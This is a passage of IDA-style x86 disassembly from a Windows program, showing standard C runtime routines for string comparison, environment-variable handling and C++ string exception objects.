		xor	eax, eax
		jmp	short loc_432CC4
; ---------------------------------------------------------------------------


loc_432CA2:				; CODE XREF: sub_4328E0+3BCj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E02D4	; CompareStringW
		jmp	short loc_432CC4
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: sub_4328E0+EBj
		xor	eax, eax


loc_432CC4:				; CODE XREF: sub_4328E0+81j
					; sub_4328E0+DFj ...
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4328E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432CE0	proc near		; CODE XREF: sub_4328E0+94p
					; sub_4328E0+ADp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_432CF2:				; CODE XREF: sub_432CE0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_432D17
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_432D17
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_432CF2
; ---------------------------------------------------------------------------


loc_432D17:				; CODE XREF: sub_432CE0+20j
					; sub_432CE0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_432D29
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_432D2C
; ---------------------------------------------------------------------------


loc_432D29:				; CODE XREF: sub_432CE0+3Fj
		mov	eax, [ebp+arg_4]


loc_432D2C:				; CODE XREF: sub_432CE0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_432CE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D30	proc near		; CODE XREF: sub_432830+92p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		cmp	[ebp+arg_0], 0
		jz	short loc_432D5C
		push	3Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_433180
		add	esp, 8
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_432D5C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_432D64


loc_432D5C:				; CODE XREF: sub_432D30+Bj
					; sub_432D30+22j
		or	eax, 0FFFFFFFFh
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432D64:				; CODE XREF: sub_432D30+2Aj
		mov	edx, [ebp+var_18]
		movsx	eax, byte ptr [edx+1]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_14], eax
		mov	ecx, dword_4DDFA0
		cmp	ecx, dword_4DDFA4
		jnz	short loc_432D95
		mov	edx, dword_4DDFA0
		push	edx
		call	sub_433090
		add	esp, 4
		mov	dword_4DDFA0, eax


loc_432D95:				; CODE XREF: sub_432D30+4Fj
		cmp	dword_4DDFA0, 0
		jnz	loc_432E55
		cmp	[ebp+arg_4], 0
		jz	short loc_432DC7
		cmp	dword_4DDFA8, 0
		jz	short loc_432DC7
		call	sub_432830
		test	eax, eax
		jz	short loc_432DC2
		or	eax, 0FFFFFFFFh
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432DC2:				; CODE XREF: sub_432D30+88j
		jmp	loc_432E55
; ---------------------------------------------------------------------------


loc_432DC7:				; CODE XREF: sub_432D30+76j
					; sub_432D30+7Fj
		cmp	[ebp+var_14], 0
		jz	short loc_432DD4
		xor	eax, eax
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432DD4:				; CODE XREF: sub_432D30+9Bj
		cmp	dword_4DDFA0, 0
		jnz	short loc_432E14
		push	87h
		push	offset dword_436070
		push	2
		push	4
		call	sub_4150C0
		add	esp, 10h
		mov	dword_4DDFA0, eax
		cmp	dword_4DDFA0, 0
		jnz	short loc_432E09
		or	eax, 0FFFFFFFFh
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432E09:				; CODE XREF: sub_432D30+CFj
		mov	eax, dword_4DDFA0
		mov	dword ptr [eax], 0


loc_432E14:				; CODE XREF: sub_432D30+ABj
		cmp	dword_4DDFA8, 0
		jnz	short loc_432E55
		push	8Eh
		push	offset dword_436070
		push	2
		push	4
		call	sub_4150C0
		add	esp, 10h
		mov	dword_4DDFA8, eax
		cmp	dword_4DDFA8, 0
		jnz	short loc_432E49
		or	eax, 0FFFFFFFFh
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432E49:				; CODE XREF: sub_432D30+10Fj
		mov	ecx, dword_4DDFA8
		mov	dword ptr [ecx], 0


loc_432E55:				; CODE XREF: sub_432D30+6Cj
					; sub_432D30:loc_432DC2j ...
		mov	edx, dword_4DDFA0
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_433010
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	loc_432F11
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_432F11
		cmp	[ebp+var_14], 0
		jz	short loc_432F03
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_415C60
		add	esp, 8
		jmp	short loc_432EAF
; ---------------------------------------------------------------------------


loc_432EA6:				; CODE XREF: sub_432D30+19Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_432EAF:				; CODE XREF: sub_432D30+174j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_432ED0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4], edx
		jmp	short loc_432EA6
; ---------------------------------------------------------------------------


loc_432ED0:				; CODE XREF: sub_432D30+189j
		push	0B9h
		push	offset dword_436070
		push	2
		mov	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_4155B0
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_432F01
		mov	edx, [ebp+var_C]
		mov	dword_4DDFA0, edx


loc_432F01:				; CODE XREF: sub_432D30+1C6j
		jmp	short loc_432F0F
; ---------------------------------------------------------------------------


loc_432F03:				; CODE XREF: sub_432D30+15Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4], edx


loc_432F0F:				; CODE XREF: sub_432D30:loc_432F01j
		jmp	short loc_432F84
; ---------------------------------------------------------------------------


loc_432F11:				; CODE XREF: sub_432D30+148j
					; sub_432D30+154j
		cmp	[ebp+var_14], 0
		jnz	short loc_432F7D
		cmp	[ebp+var_8], 0
		jge	short loc_432F25
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_432F25:				; CODE XREF: sub_432D30+1EBj
		push	0CEh
		push	offset dword_436070
		push	2
		mov	ecx, [ebp+var_8]
		lea	edx, ds:8[ecx*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_4155B0
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_432F59
		or	eax, 0FFFFFFFFh
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432F59:				; CODE XREF: sub_432D30+21Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*4+4], 0
		mov	eax, [ebp+var_C]
		mov	dword_4DDFA0, eax
		jmp	short loc_432F84
; ---------------------------------------------------------------------------


loc_432F7D:				; CODE XREF: sub_432D30+1E5j
		xor	eax, eax
		jmp	loc_43300B
; ---------------------------------------------------------------------------


loc_432F84:				; CODE XREF: sub_432D30:loc_432F0Fj
					; sub_432D30+24Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_433009
		push	0E5h
		push	offset dword_436070
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		add	eax, 2
		push	eax
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_433009
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_418870
		add	esp, 8
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	dword_4E02D0	; SetEnvironmentVariableA
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_415C60
		add	esp, 8


loc_433009:				; CODE XREF: sub_432D30+258j
					; sub_432D30+285j
		xor	eax, eax


loc_43300B:				; CODE XREF: sub_432D30+2Fj
					; sub_432D30+8Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_432D30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433010	proc near		; CODE XREF: sub_432D30+139p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DDFA0
		mov	[ebp+var_4], eax
		jmp	short loc_433027
; ---------------------------------------------------------------------------


loc_43301E:				; CODE XREF: sub_433010:loc_433078j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_433027:				; CODE XREF: sub_433010+Cj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_43307A
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4327E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_433078
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [edx+eax]
		cmp	ecx, 3Dh
		jz	short loc_43306A
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [eax+ecx]
		test	edx, edx
		jnz	short loc_433078


loc_43306A:				; CODE XREF: sub_433010+48j
		mov	eax, [ebp+var_4]
		sub	eax, dword_4DDFA0
		sar	eax, 2
		jmp	short loc_433088
; ---------------------------------------------------------------------------


loc_433078:				; CODE XREF: sub_433010+37j
					; sub_433010+58j
		jmp	short loc_43301E
; ---------------------------------------------------------------------------


loc_43307A:				; CODE XREF: sub_433010+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, dword_4DDFA0
		sar	eax, 2
		neg	eax


loc_433088:				; CODE XREF: sub_433010+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_433010	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433090	proc near		; CODE XREF: sub_432D30+58p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_4330B0
		xor	eax, eax
		jmp	loc_43317A
; ---------------------------------------------------------------------------


loc_4330B0:				; CODE XREF: sub_433090+17j
					; sub_433090+3Bj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		test	edx, edx
		jz	short loc_4330CD
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_4330B0
; ---------------------------------------------------------------------------


loc_4330CD:				; CODE XREF: sub_433090+30j
		push	146h
		push	offset dword_436070
		push	2
		mov	edx, [ebp+var_10]
		lea	eax, ds:4[edx*4]
		push	eax
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_433105
		push	9
		call	sub_41AC70
		add	esp, 4


loc_433105:				; CODE XREF: sub_433090+69j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_C], edx


loc_43310B:				; CODE XREF: sub_433090+DCj
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_43316E
		push	14Fh
		push	offset dword_436070
		push	2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	sub_414EC0
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_4150C0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jz	short loc_43315A
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	sub_418870
		add	esp, 8


loc_43315A:				; CODE XREF: sub_433090+B4j
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_43310B
; ---------------------------------------------------------------------------


loc_43316E:				; CODE XREF: sub_433090+81j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]


loc_43317A:				; CODE XREF: sub_433090+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_433090	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433180	proc near		; CODE XREF: sub_432D30+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE43C, 0
		jnz	short loc_4331A2
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418970
		add	esp, 8
		jmp	loc_433269
; ---------------------------------------------------------------------------


loc_4331A2:				; CODE XREF: sub_433180+Bj
		push	19h
		call	sub_41BC80
		add	esp, 4
		jmp	short loc_4331B7
; ---------------------------------------------------------------------------


loc_4331AE:				; CODE XREF: sub_433180:loc_433246j
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_4331B7:				; CODE XREF: sub_433180+2Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43324B
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4DE541[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_433236
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_433208
		push	19h
		call	sub_41BD20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_433269
; ---------------------------------------------------------------------------


loc_433208:				; CODE XREF: sub_433180+78j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		shl	edx, 8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		or	edx, ecx
		cmp	[ebp+arg_4], edx
		jnz	short loc_433234
		push	19h
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		jmp	short loc_433269
; ---------------------------------------------------------------------------


loc_433234:				; CODE XREF: sub_433180+A0j
		jmp	short loc_433246
; ---------------------------------------------------------------------------


loc_433236:				; CODE XREF: sub_433180+64j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		cmp	[ebp+arg_4], edx
		jnz	short loc_433246
		jmp	short loc_43324B
; ---------------------------------------------------------------------------


loc_433246:				; CODE XREF: sub_433180:loc_433234j
					; sub_433180+C2j
		jmp	loc_4331AE
; ---------------------------------------------------------------------------


loc_43324B:				; CODE XREF: sub_433180+4Dj
					; sub_433180+C4j
		push	19h
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	[ebp+arg_4], eax
		jnz	short loc_433267
		mov	eax, [ebp+arg_0]
		jmp	short loc_433269
; ---------------------------------------------------------------------------


loc_433267:				; CODE XREF: sub_433180+E0j
		xor	eax, eax


loc_433269:				; CODE XREF: sub_433180+1Dj
					; sub_433180+86j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_433180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433270	proc near		; CODE XREF: sub_40BC39+12p
					; sub_40BCCE+12p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_433270
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40BBEC
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_433420
		push	offset dword_4363F8
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_433E70
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_433270	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4332D0	proc near		; CODE XREF: sub_433360+10p
					; sub_433540+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4332D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_433BF0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40BBC6
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_436090
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4332D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433340	proc near		; DATA XREF: .data:00436094o
					; .data:004360A4o ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0Ch
		call	sub_40BCA9
		mov	esp, ebp
		pop	ebp
		retn
sub_433340	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433360	proc near		; DATA XREF: .data:00436098o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_4332D0
		push	offset dword_436468
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_433E70
		mov	esp, ebp
		pop	ebp
		retn
sub_433360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433390	proc near		; CODE XREF: sub_4333F0+Ap
					; sub_4334C0+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_433390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_436090
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40BC0F
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_433CB0
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_433390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4333F0	proc near		; DATA XREF: .data:off_436090o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_433390
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_433415
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419DD0
		add	esp, 4


loc_433415:				; CODE XREF: sub_4333F0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4333F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433420	proc near		; CODE XREF: sub_433270+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_433450
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4360A0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433450	proc near		; CODE XREF: sub_433420+Ep
					; sub_4335D0+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_433450
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_434F04
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_433B80
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40BBC6
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_436090
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4334C0	proc near		; CODE XREF: sub_433510+Ap
					; DATA XREF: .data:004363FCo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4360A0
		mov	ecx, [ebp+var_4]
		call	sub_433390
		mov	esp, ebp
		pop	ebp
		retn
sub_4334C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4334E0	proc near		; DATA XREF: .data:004360A8o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_433540
		push	offset dword_4363F8
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_433E70
		mov	esp, ebp
		pop	ebp
		retn
sub_4334E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433510	proc near		; DATA XREF: .data:off_4360A0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_4334C0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_433535
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_419DD0
		add	esp, 4


loc_433535:				; CODE XREF: sub_433510+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433540	proc near		; CODE XREF: sub_4334E0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_4332D0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4360A0
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_433540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433570	proc near		; CODE XREF: sub_40BD29+17p
					; sub_40BFA8+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_433570
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_38]
		call	sub_40BBEC
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_4335D0
		push	offset dword_4364F8
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_433E70
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_433570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4335D0	proc near		; CODE XREF: sub_433570+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_433450
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4360C8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4335D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433600	proc near		; CODE XREF: sub_433650+Ap
					; DATA XREF: .data:004364FCo

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4360C8
		mov	ecx, [ebp+var_4]
		call	sub_433390
		mov	esp, ebp
		pop	ebp
		retn
sub_433600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_433620	proc near		; DATA XREF: .data:004360D0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

